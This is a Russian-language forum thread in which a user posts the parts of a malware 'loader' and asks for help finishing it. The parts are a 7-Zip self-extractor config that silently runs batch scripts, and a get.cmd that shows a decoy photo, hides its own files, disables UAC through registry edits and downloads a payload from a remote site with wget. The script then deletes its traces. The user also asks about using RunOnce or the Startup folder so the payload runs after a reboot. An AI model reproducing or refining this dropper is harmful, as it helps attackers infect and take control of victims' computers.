Подскажите, кто знаком с этой темой

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by VONG99, 26 Aug 2012.

  1. VONG99

    VONG99 New Member

    Joined:
    8 Oct 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Имеются вопросы, хочу вложить фото в лоадер которое должно открываться в обычном формате,
    файл ( Config.txt ) указанного ниже содержания нужно поправить или оставить как есть ?


    ------------------------------
    ;!@Install@!UTF-8!
    InstallPath="%TEMP%"
    RunProgram="hidcon:forcenowait:get.cmd"
    RunProgram="hidcon:wait.cmd"
    GUIMode="2"
    ;!@InstallEnd@!
    ----------------------------------



    Вопрос по поводу обхода UAC

    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f

    как я слышала это сработает только после перезагрузки компа.
    Будет очень паливно отправить комп в ребут в момент получения файла, значит нужно как-то прописать команду которая вступит в силу только после того как UAC будет уже отключён.


    Мне подсказали пару вариантов:
    1. Добавить в реестр, в секцию RunOnce ссылку на местоположение скачанного сервера. Он однократно запустится после перезагрузки.
    2. Можно засунуть ярлык на местоположение скачанного сервера в папку автозагрузка. Но надо будет позаботиться, чтобы в процессе установки сервера этот ярлык был удален. Или можно засунуть сам файл в папку Автозагрузка и дать ему скрытый атрибут.

    Может есть другие надёжные варианты ?

    Подскажите, если не затруднит, какие записи нужно добавить чтобы получить рабочий вариант.

    Вот get.cmd который я немного поправила



    ------------------------------------

    @echo off
    set site= путь к сайту
    set file= название файла

    @attrib +s +h "wget.exe"
    @attrib +s +h "get.cmd"
    @attrib +s +h "wait.cmd"

    copy /y название.jpg %SYSTEMROOT%\название.jpg
    start %SYSTEMROOT%\название.jpg

    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Po licies\System" /v "FilterAdministratorToken" /t REG_DWORD /d 0 /f

    :start
    @ping 8.8.8.8 -n 5 >nul
    @if %errorlevel%==0 (goto get) else (goto start)

    :get
    @wget.exe %site%/%file%

    :end
    @attrib -s -h "wget.exe"
    @attrib -s -h "get.cmd"
    @attrib -s -h "wait.cmd"
    @del /f /q "wget.exe"
    @del /f /q "wait.cmd"
    @del /f /q "get.cmd"

    ---------------------------------


    вот содержание wait.cmd

    ---------------------------------
    @echo off
    ping 127.0.0.1 -n 4 >nul
    exit
    ---------------------------------
     
  2. VONG99

    VONG99 New Member

    Joined:
    8 Oct 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Здесь приведены файлы которые входят в состав сборки лоадера. Были озвучены два вопроса , что нужно поправить чтобы файлы ( Config.txt ) и ( get.cmd ) выполнили необходимую мне функцию.